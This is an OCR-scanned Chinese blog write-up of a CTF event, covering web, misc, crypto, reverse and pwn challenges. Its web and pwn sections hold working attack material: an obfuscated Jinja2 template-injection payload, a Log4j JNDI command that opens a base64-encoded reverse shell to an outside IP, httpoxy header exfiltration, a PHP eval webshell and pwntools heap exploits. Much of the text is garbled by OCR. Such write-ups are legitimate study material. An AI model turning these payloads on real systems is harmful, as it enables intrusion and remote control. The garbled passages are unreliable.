K2R P 4% 22 2 FE Writeup

Lela F 2022-01-12 21:53:11 &KAi 3243 W 1

SRER: CTF XHEHL: webZs T4

AL B : ASONE EJRBISCE, #4E CC 4.0 BY-SA FRALIMN, HEIEM LSl A M A= 1 .
ACEERE: https://blog.csdn.net/weixin_52091458/article/details/122463314

CTF LREWFZAE
12 XE 3T
TSR

Web
RCE_No_Para

F*ZRCE

?l=system('tac flag.php');&code=eval(current(current(get_defined vars())));

A 31d98f52 Ixctf.net

>$flag="flag{57c1bb06ccf8a9a7607721e2419613fc}";

flask
admin?static.js?

RIGRIES f: ?2name=

18856988.Ixctf.net;

1ello admin Q) gl 7= CssErd s NS BB wE RiFHiER: HRE » -
RE MXHEERE » «=+ | @  administaticjs? X |
v E tOp 1 )
v O 8856988 Ixctinet § ET}%Zd;?:;gname:f—>
[3 admin?staticjs « I



https://blog.csdn.net/weixin_52091458
https://blog.csdn.net/weixin_52091458/category_11163722.html
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_52091458/article/details/122463314
https://blog.csdn.net/weixin_52091458/category_11163722.html

IR T FSSTl, KWLM T 51 5E/HS

% [Battrdh & 163 i R 51t

{{a|attr(%27\x5F\x5F\x63\x6c\x61\x73\x73\x5F\x5F%27) | attr (%27 \x5F\x5F\x62\x61\x73\x65\x5F\x5F%27)}}

LA ZhEE K

18856988.Ixctf.net

hello <class 'object'>static.js? G P 7= CssiEkd  BEE RS BB AE NFFERE HERE »
mmE  M4EHR D SO
v EjMp
v ¢ 8856938 Ixctf.net
D admin?name={{alattr("xt Ctrl+ P FITSE

Ctrl+ Shift+p BT

TNERINE TR R

TF AT AL T N T FR AN A RS

RIET THIEEITHATT

{{a|attr(%27\x5f\x5F\x63\x6c\x61\x73\x73\x5F\x5F%27) |attr (%27 \x5F\x5F\x62\x61\x73\x65\x5F\x5f%27) |attr(%27\x5F\x
5F\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5F\x5F%27) () | attr (%27 \x5F\x5F\x67\x65\x74\x69\x74\x65\x6d\x5F\x5F%27
)(186) |attr (' \x5F\x5F\x69\x6e\x69\x74\x5F\x5f ") |attr (' \x5F\x5F\x67\x6c\x6F\x62\x61\x6c\x73\x5F\x5f") |attr('\x5f\
X5F\Xx67\x65\x74\x69\x74\x65\x6d\x5F\x5F ") (' \X5F\x5F\x62\x75\x69\x6c\x74\x69\x6e\x73\x5F\x5f") |attr (' \x5F\x5Ff\x67

\X65\x74\x69\x74\x65\x6d\x5F\X5f ") (' \x65\x76\x61\x6¢C" ) (' \X5F\x5F\x69\x6d\x70\x6f\x72\x74\x5F\x5F\x28\x22\x6f\x73
\X22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2F\x66\x6Cc\x61\x67\x22\x29\x2e\x72\x65\x61\x64\x28\x29
)1}

rreuy Ly nex I = Bk raw  mex  Kenaer =
1 GET /admin?name= 1 HTTPE/1l.1 200 OK

{{alattr (%27 " x5Ff \ x5\ x63" x6c  x61 "\ x73" " x73" x5f x5£%27
Vlattr (%27 x5f x5 =B w61\ x73 265\ x5F"  x5£%27) |attr
($27\x5f\ x5f x73\ x75\ k62" k63" x6c\ x61\ x73" x73 \ x65"\ x7
3Wx5E\ x5E%27) () |attr (%27 x5F\ x5f "\ 267\ x65 \ xT74\ 269"\ %7
4 265" xA6d\ ®5f \ ®5F%27) (1868) |attr (" \x5f\ x5f \ =69\ xGe' x
69\ x74 " x5F "\ x5f") |attr (" \x5f\x5f\ x67" \ x6c \ x6F\ ®E2\ xEL
LxBc\ xT3Vx5EVx5E") |attr ("W x5F\x5F k67 w65\ xT74\ 269" x

Content-Length: 83

Content-Type: text/html; charset=utf-3
Date: Sat, 08 Jan 2022 03:21:35 GMT
Server: Werkzeug/Z.0.Z Python/3.6.9
Connection: close

=1 @ N W DDk

[=2]

T4\ =265 x6d \ x5F \ x5F") (" \x5F\x5f\ k62 \xT75"\ x69" 6\ ®T4"\ S hello flag{Zh8f5e%ac7BEffE25b16524%e0fb368}
®xE9" xGe \ x73\x5F\ x5f") |attr (" x5F \ x5\ xE67\ x65 "\ k74" k6 10 .is?

O x74 " x65  x6d \ x5F x5F") (" xE5\xTE \x61l\xEc") ("' x5f\x 11 <!l--admin/?name=-->

S xE9 xed\ xT70\ x6E \ w72\ k74 x50\ x5\ x28\ 22 x6f\ xT 3N 12

®x22WxI29\ xZe \ w70\ =68 x70\ x65"  x6e \ x28\ x22 \ x63 \ 61\ x74
WxI0WxIE\ 66\ x6c\ ®61\ 67\ xI2\ k29 x2e \ xT72\ ®E5 k61 x6
4" x28"=29") }}.J=? HTTE/1.1

Host: fE8E5698E8. lxctf.net

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4;
xG4; rv:93.0) Gecko/20100101 Firefox/93.0

4 Accept:

text/html, application/xhtml+xml, application/=ml;q=0
.9,image/avif, image/webp, */*;q=0.8

Accept-Language:

zh-CN, zh;qg=0.8, zh-TW;¢g=0.7, zh-HE;¢=0.5, en-Us; q=0. 3,
en;q=0.2

& Accept-Encoding: gzip, deflate

Connection: close

o Upgrade-Insecure-Requests: 1

(SN )

[43]

Shiro?

— TR ER H B ARShio R FFIL, ETRITT—TF, KUWRITE, HERZHSIITARE

Em



i shiroRFFltiRRESERIATR v2.2

|

v ElBE
GET ~ | BfRE | hittp://6816c64a.Ixctf.net/
v AR

FEF rememberMe EEEH kPH+blxk5D2deZilxcaaaA==

¥ FFAAI

#f8E | CommonsBeanutils1 ~ | BE5 | SpringEcho

BNAEx | adhdT> | HiFES X

FF(Eshirofzzg!

BRANEESH

IF=fEshiroizzs!

[*] kPH+blxk5D2deZilxcaaaA==

[x] {z:CommonsCollectionsK1 EZEJ5T,: TomcatEcho
FHE S

[x] Miz.CommonsBeanutils1 EZR53,: TomcatEcho
FHAESEE

[x] {:CommonsBeanutils1 ER7A=: TomcatEcho

[*] ZIfEiEsECommonsBeanutils1 EZAE: SpringEcho
[*] B=EEH TeEEF A,

HEEEESs 5

AES GCM il ZEr=E

T A FEE

==

IR A AR (O]

by jlanFen |




B shiroRFPlLiRREAFIEIR v2.2 — o X
¥ BT

‘ GET - ‘ BfRiBUE | http://6816c64a.Ixctf.net/ HEEhEESs 5

¥ =R

ES = rememberMe =EEH kPH+blxk5D2deZilxcaaad== || AES GCM Ernl = FTs 2 ‘ ‘ 1EwEH |
¥ HIAAI

HIFEE ‘ CommonsBeanutils1 - ‘ Elkmraav ‘ SpringEcho - ‘ | TR R RS ‘ | IREF RS AR ‘
BRES | BOPTx | PEDX

BARS Is / T
root

HEgHAT —MsFwhoami, —ELLATRER FESRIWHZ LR, FERELRKATFERZLogdj2.
ZHTH W EIE —IK: https://lela.gitee.io/posts/3ede56bc/

RREE, EaREH|LATAER— A mifRS, HHEIr123455 0

java -jar JINDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuN
NjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "101.43.66.67"

ValSjer JNDISI)cctionTEXp BEG® ar C "bashe-c {c TNDHON YU NG T N




Mi%& ${jndi:rmi://101.43.66.67:1099/qzhyfb} A4, HEEE, REAHEEFH

Please sign in

${jndi:ldap://rmi://101.43.66.67:1099/qz
(J Remember me

C A 2= | 6816c64a.lxctf.net/doLogin

# Fofa v

Don't Hacking Me

RUMAEWAF, BE T —TLog4j2iBypass, #HF| T X5 E: https://mp.weixin.qq.com/s/H1gH5ZtIAVpLPgmmUFInaA

FEA R —%payload ${${::-3}8{::-n}{::-d}${::-i}:${::-r}${::-m}${::-i}://101.43.66.67:1099/qzhyfb} BN AI5eiT

C A &£ | 6816coda.lxctf.net/dologin

) Fofa 1wy

ok

=IRE B R T R Kshell, catflaghi ATk fag

Vi TR catiifilag

Flaghc i£ # O




» <head>»..</head>
w <body>
P <center>.</center:>
<br>
<br>
<br>
<font color="white"> How to get secret HTTP data?</font:
<!--Powered by PHP 5.6.23 + fastcgi-->
</body>
</html>

R B KRR T

I Iy RIS U FUSN S CHIEES v

01.HTTPoxyf&ft

httpoxy 2— N CGIW BINEIGTERERRE, SA—27ILPHPATEFIIWebsIZESH] Apache @ | Nginx&Webfg5522,

02. iR
#RIERFC 3875fl7E, CGI (fastcgi) EISHFEANRNBIAHTTPLEINLE HTTP_ BIEBMIAMEZE T, MG AZEHEEELN RGBS

IREIMEZSEchAY HTTP_PROXY (EEAHTTP{LEELIE, T2, TEEFIEITIEST Proxy: http://evil.com XEERIHTTPL, 1SEEHEE
EEAIREACIEIE = http: //evil. com , HMETBEIEE PO sFENERER,

PHP5.6.24hgAEE 71ZRRE, =& Proxy IAINEEES S, FIMEREFAPHP 5.6.234fl.

LR, ZREALEIEPHP, FrELACGIskFastegiiz{ TR FERFRIS/E, CVE-2016-53852PHPIICVE, HTTPoxyFr&MICVE
wEWT:

» CVE-2016-5385: PHP

)5 BRI L AHTTPoxyl 4T

Pretty JGEN Hex n =

GET / HTTR/1.1

Host: 113.201.14.253:145980

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4;
xB4; rv:93.0) Gecko/20100101 Firefox/93.0

Accept:

text/html, application/xhtml+xml, application/=ml;qg=0
.9, image/avif, image/webp, */*;q=0.8

Proxy: http://1.14.92.24:8008/

Accept-Language:

zh-CN, zh;g=0.8,zh-TW;g=0.7,=zh-HE;g=0.5,en-Us;g=0.3,
en;qg=0.Z2

Accept-Encoding: gzip, deflate

8 Connection: close

S Upgrade-Insecure-Requests: 1

10 Cache-Control: max-age=0

W ko

=

oy LN



pind U

[root@VM-0-1l4-centos JNDI-Injection—Exploit-master]# nc -lvvp 8008
Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening of :::8008

Ncat: Listening on 0.0.0.0°8008

Ncat: Connectiop.+rom 113.201.14.253.

Ncat: Connection from 113.201.14.253:57904.

POST http://www.yunyansec.com/ HTTP/1.1

Proxy—-Connection: Keep-Alive

User—Agent: GuzzleHttpféel. Ocusl/7.38:0 PHR/ST6.23
Content-Type: application/X=wwwv—form—urlencoded
Host: www.yunyansec.com

Content-Length: 4@

YourFlag=cazy%7BWE_Ur3_+Umily For3vErsiD

flag:A:

cazy{WE_4r3 f4mily for3vEr}

Misc

NEHRE
K L
&= 55
54 7T




MR —ARERE, REREERE, —BERBINOETIRS N RE K2R, LEE X /)\ANFE, HER i NIX Lk
FHIPE R Bflag

hechangshanshananzhanyiyizhanyianyichanganyan

V4 22 0t
FRME, R—ARE, &SHHTTPHS

H—"secret(1).txt, Hfibaseb4ffid g —MEAEE, @ik T ARSE B XA K45

import base64
fin=open("secret.txt","r")
fout=open('2.zip"',"wb")
base64.decode(fin, fout)

fin.close()
fout.close()

T E%E, BEARZKER . HTTPRHRHISIHEFIER —/> hint. txt , base32f#iH75 2 & F i) — M HEFI BT

< > C & toolysneko.com/CyberChef/#recipe=From_Base32('A-Z2-7%3D" true)&input=SEUyREFNWkIPQIhHTOIESkINUURBQ1JZROEOREIMVFFOWIRTQTMVEVBWVFVTIp... & & Y& @ & fg » @ E

i ®i75 #3 w5 IR @ Fofa vl 45 - RALMENE. CSDN HETE #I SRC R [
Version 9.32.3 Last build: 4 months ago Options % About / Support @@
q . = length: 1137 =
Operations Recipe 0ma Input e + O3 0 =
HE2DAMZOOBXGOIDIOMQDACRYGA4DMLTQNZTSA2L TEAYQUNZTGAY S44DOMAQGSAZAGIFDONBSGIXHASTHEBUXGIBTBIZTSNZYFZ
base From Base32

YGAZZANFZSANAKHAZ DMNROOBXGOIDIOMQDKCRXGYADGLTQNZTSA2L TEA3AUNIUGEYC44D0MAQGSAZAGAFDIMZWGUXHASTHEBUX

To Base Alphabet GIBYBIZDIMRWFZYGAZZANFZSAOTKHEYDKNROOBXGOIDIOMQDCMAKGMZDANIOOBXGOTDIOMQDCMIKGYZTMMIOOBXGOIDIOMQDCM
A-72-7= QKHEYTMNZO0BXGOIDJOMQDCMYKGMYTSNIO0BXGOID JOMQDCNAKGUADKMROOBXGOIDIOMQDCNIKHEZDQMBOOBXGOIDIOMQDCHNQK
HE3TAMROOBXGOIDJOMQDCNYKHA2DENBOOBXGOTIDIOMQDCOAKGE3DONJOOBXGOIDIOMQDCOIKGMYDCNBOOBXGOIDIOMQDEMAKGA

From Base
ATQNROOBXGOIDIOMQDEMIKHA2DGMROOBXGOIDIOMQDEMQKGAYTGOI00BXGOIDJOMQDEMYKGQ3DKNIOOBXGOIDJOMQDENAKGAZD

B Remove non-alphabet chars KOBOOBXGOTDIOMQDENTKGM2TMNI00BXGOIDIOMQDENQKGU2DINBOOBXGOTD JOMQDENYKGAZ TQNBOOBXGOIDIOMQDEOAKG TYDAM
O Bases Z00BXGOIDIOMQDEOIKHA3DQOBOOBXGOIDIOMQDGMAKGUATKNROOBXGOIDJOMQDGMIKGM2 TAOJOOBXGOIDIOMQDGMQKHEYDENZO
To Base58 OBXGOIDJOMQDGMYKGEATANIJOOBXGOIDIOMQDGNAKGYYDQNIOOBXGOIDIOMQDGNIKGA2DANROOBXGOIDIOMQDGNQKGE 3DKMBOOB
O Base XGOIDJIOMQDGHYKHA3DAMROOBXGOIDI OMQDGOAKHEZ TONZOOBXGOTDIOMQDGOTKGEZ TEMZ O0BXGOTIDIOMQDIMAKGAZTEMIOOBXG

_ OIDJIOMQDIMIKGI3TINZOOBXGOIDIOMQDIMQKGAYTENIOOBXGOIDIOMQDIMYKGEZDEMBOOBXGOIDIOMQDINAKGAYDOOIO0BXGOT
o i DJIOMQDINIKGUYTOMROOBXGOIDIOMQDINQKGUYDOMBOOBXGOIDIOMQDINY=
To Base64
To Base85 start: 709 time: 1ms

ra

Output end: 769 lengtn: 7e9 [l |_|:| m o

length: @  lines: 48

From Base32 9403.png is @
8086.png is 1

From Base58 7301.png is 2
7422.png is 3

From Base62 3978.png is 4
8266.png is 5

From Base64 7683.png is 6
5410.png is 7

From Base85 4365.png is 8
2426.png is 9

Show Base64 offsets 9056.png is 10
3205.png is 11

Bcrypt parse STEP 6361.png is 12
Auto Bake 9167.png is 13

DeAN i s 2o s

BRI, XL E R R IRPHEER




s‘el

fé‘i_

t

B Elflagh:

cazy{make_XiAN_great_Again}

TFRKH
THMF, —R—NRER, BREFHHTTPXSR



£ 1(5).php - ig=%
SHF) () EIN(0) WME() FEIH)

|897f94d0<?php eval($ POST['xian']);?

FrEwitE (2) >504B0304140008000800B16A985300000000000000
. 00E201000008002000666C61672E74787455540D000
=1 B ESi B 7DF58C561B564C561B364C56175780B000104F50100
00041400000065904112C0200803CFC92BF8FF2B6BD
1E242BD6464D624A8D84747CABB8EC8E2107C719CB
4 12).php 2022/1/8 17:02 PHP 3044 AB8CT1A95223A58C811B11B1E8955BB913B9F441558B
06872899C39D8ESDO6DC325E62F7CABCT1FO078E6DB
B25T1FBB9037586311D367846B1471871896A01F504
& 1(4).php PHP 3Z{4 BO708BB2C9F9162000000E2010000504B0304140008
000800396998530000000000000000F400000006002
0006B65792E777355540D00071F56C561B564C561B3
& 1.php 2022/1/8 17:02 PHP 3Z{t 64C56175780B000104F501000004140000007D8EC10
900300803DF11DCETF69FB25A3FDAD22A0ATE21111
012E02637B2E20CAQ0066A4F454C576CF2F3A8981FAS8
3514693B533852AEC7D0ODBC32D7B01504B07087FB1
67453D000000F4000000504B0304140008000800396
9985300000000000000000D010000110020005F5F4D
41434F53582F2ES5F6B65792E777355540D00071F56C
561B564C561CF6CC56175780B000104F50100000414
0000006360156367606260F04D4C56F00F568850800
290180327101B01F16D2006F219791988028E212141
101658C70120F64553C20415176060904ACECFD54B2

M 1(1).php 2022/1/8 17:02

& 13).php 2022/1/8 17:02 PHP 37

M (5).php 2022/1/8 17:02 PHP 2i%

FE1(5).php KB T B8 B A168E ], winhex@I& —ANZE R, RFHWEXAM163EH RN, REFN1.Zp

269 170
244 61 2021-12-2..
482 98 2021-12-2..

HEAWRAN XM, BEEMRATEFER, kREXAkey, BRMHMKEEAS—FE, HEBREHM _H, BT —Fmio
MY whitespace , TEZRM W https:/vii5ard.github.io/whitespace/

Ekeyws B 2 A Z/AEBEZE, run—TFE %4 xiAnwillBeSafe




C & viiSard.github.io/whitespace/

® Fofa .y #MFE - lFNEIE... CSDN

Files (Local Storage) hworld.ws Debug
[New] [Delete] [Savel [Run 1 [Optimize] [X]Highlight [Dewnload] [ HELF 1 [Run] [Step] [Stop]
O bf.ws push 88
B bf. wsa printc
™ cale.ws push 105
B collatz. wsa printc
[ count. ws push 65
[ fibonacei. ws printe
[ hanoi. ws push 110
B hello. bf printc
B hmacro. wsa pu_sh a7
[ hworld. ws printe
B lib/alias. wsa puf:h 105
B lib/math. wsa printc
B lib/rotld. wsa pu;h 108
B lib/std. wea printe
B lib/string. wsa EE?EtiOS
%EZE xz e push 66
B nerd. wsa » FTlEt‘fOl
O quine-2. ws Eﬁntc
[ quine. vs utput| Console Memory push 83
Brotls bf [Clear] [EOF] printc
B vn/bi. v FiArVillEeSafe  -<m— push 57
B vn/bf. wsa rinte
[ ve/hfZwsa. ws push 102
B ve/bf2wsa. wsa printe
push 101
printc
end

i Hflag et B I & FIRER 2 B/, XA BBERSNOWME, 7B RREEEI— Mt , Ml — st XA
bt BT L A 2 R A -

snow.exe -p XiAnWillBeSafe -C flag.txt

[ CAWindows\System32\cmd.exe -+

Microsoft Windows [hRZA~ 10.0.22000.376]
(c) Microsoft Corporation, {REBEFHEMNFI,

F:\CTF2\CTF T Ef\B K S \snow>snow.exe -p XiAnWillBeSafe -C flag.txt
cazy{Cln_y@u_underStind_th3_bOoK_WithOut_Strlng}
F:\CTF2\CTF T E&\E K & 5 \snow>|

B 3Bflagh:

cazy{C4n_ye@u_underSt4nd_th3 beoK Witheut String}

i Flen(flag)<=80, FiLAm & H1<<500/), F&m=2* *500-iroot((c-0x0338470),2)[0].



from gmpy2 import *

[from Crypto.Util.number import *
c=10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188
5056121842207119499746892753163456560795385833890958698189428171272452786016951242716266680452504768777266381823
96614587807925457735428719972874944279172128411500209111406507112585996098530169
print(long_to_bytes(2**500-iroot((c-0x0338470),2)[0]))

#itflag:b'cazy{1234567890_no_m4th_né_cRy}'

Re

cute_doge

db
db
.rdata:0p0000000R40 aZmxhz3tdadfuyv db

aCuteDoge db ‘cute

align
unk 4060C0 db
. db
db

base64f#545 Flflag

Hasebad URLENCOdE ML lmesTamp

iS5 ZiHT Basetd EEDERETFR

ZmxhZ3tDaDFuYVaseWRzX2Nhenl9

#2153 (Decode) | 13mg  (ERnEE [EE-B

Base6d SIEEREEERIESRR:

flagiCh1ina_yyds_cazy)

flag-A:
Pwn

pwn1



1R B 2 Bl pwn
EXP:

#!/usr/bin/env python
#coding=utf-8

from pwn import*

"113.201.14.253"
16088

remote(ip,port)
= process('./pwnl")
ELF('./rheap’)
ELF('./libc-2.27.50")
ELF('/Lib/x86_64-Llinux-gnu/Libc.so0.6")
context(log level="debug',os='linux',arch="1i386")

shell addr = 0x8048540

io.recvuntil("Gift:0x")
buf = int(io.recv(8),16)
success (hex(buf))

io.recvuntil("\n")
io.sendline(p32(0x8048540) + "b"*0x30 + p32(buf+4))

io.interactive()

pwn2

addhRE 7 fEoffoyone i . FATTF HE KK # i HY — MR Koverlap, BHUS #E Aunsortedbin, 2 J& ) F #iuhl 5% B ittt 2 H libc
b, BJEBERRGESIfIEET, BhErfreehook BT

EXP:

#!/usr/bin/env python
#coding=utf-8

from pwn import*

= "113.201.14.253"
16066

remote(ip, port)
= process('./pwn2")
ELF('./rheap’)
ELF('./1libc-2.27.s0")
= ELF('/lib/x86_64-Llinux-gnu/libc.so0.6")
context(log_level="debug',os="linux',arch="amd64")

def (c):

io.recvuntil(":")




def (size,content):
choice(1)
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def (index, content):
choice(2)
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil(":")

io.sendline(content)

def (index):
choice(4)
io.recvuntil(":")

io.sendline(str(index))

def (index):
choice(3)
io.recvuntil(":")

io.sendline(str(index))

leak = u64(io.recvuntil('\x7f"')[-6:].1just(8,b"'\x00"))
libc_base = leak - 96 - 0x10 - libc.sym['_malloc_hook" ]

fh = libc_base + libc.sym['__free_hook"]

libc_base + libc.sym[ ‘system’]
success(hex(leak))
success(hex(libc_base))

add (0x80, 'AA")

,'A'*0x18 + b'\x61')

, 'A'*0x20 + p64(0) + p64(0x31) + p64(fh))




add (0x20, '/bin/sh")
add (0x20,p64(system))

free(7)
#gdb.attach(io)

io.interactive()

pwn3
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=| Feeundocode—] Feendocoade—FE

| intea _ fastcall sub E57( int64 al, unsigned int
I
L

unsigned int v3; // [rsp+14h] [rbp-Ch]

if ( *(_BYTE *)al )
I
L

printf(“Name: %s\n"
printf("HP: %d\n"

puts(”>

puts("Try to baokou");
sleep(1lu);

*a2 -= *(_DWORD *)(al + 28);
if ( (int)*a2 > @ )

I

1");

return v3;

BATEL KM EHANRXAEE

1
if ( (unsigned int)sub E57(( int64)s, (unsigned int *)v4)
{
printf("Here's your rew
printf("wWarrior,ple
read(@, &buf, Sull);
printf("We'1l have a
read(@, buf, 8Sull);
exit(0);

XBERIEFEERIES
B 5 Bk B 28 i 3 exit hook Aone gadgetZEgetshell, a4 T 1R K i a] 2@ FE AT B H Sk — p ) 73t
& JGEXP:

from pwn import *

"113.201.14.253"
16033
remote(ip,port)




elf = ELF('
libc = elf.libc
context(log level='debug', os="'linux', arch="amd64')

def (c):
io.recvuntil(":")
io.sendline(str(c))

def (level):
choice(1)
io.recvuntil(":")
io.sendline(level)

def (level):
choice(2)
io.recvuntil(":")
io.sendline(level)

def ():
choice(3)

add('A'*35)

io.recvuntil(":")
io.sendline('3")

io.recvuntil("Here's your reward: Ox")
leak = int(io.recv(12),16)

libc_base = leak - libc.sym[ 'puts']
system = libc_base + libc.sym['system']
exit_hook = libc_base+0x5f0040+3848

success (hex(leak))
success(hex(libc_base))
success(hex(exit_hook))

one = libc_base + 0xf1247
.recvuntil(":")
.send(p64(exit_hook))

.recvuntil("!")
.send(p64(one))
#gdb.attach(io, 'b *$rebase(0x1064) ")\

)
)
)




io.recvuntil("Here's your reward: ox")
leak = int(io.recv(12),16)

libc_base = leak - libc.sym['puts']
system = libc_base + libc.sym['system']
exit_hook = libc_base+0x5f0040+3848

success(hex(leak))
success(hex(libc_base))
success(hex(exit_hook))

one = libc_base + 0xf1247
.recvuntil(":")
.send(p64(exit_hook))

.recvuntil("!")
.send(p64(one))

edb.attach(io)

io.interactive()
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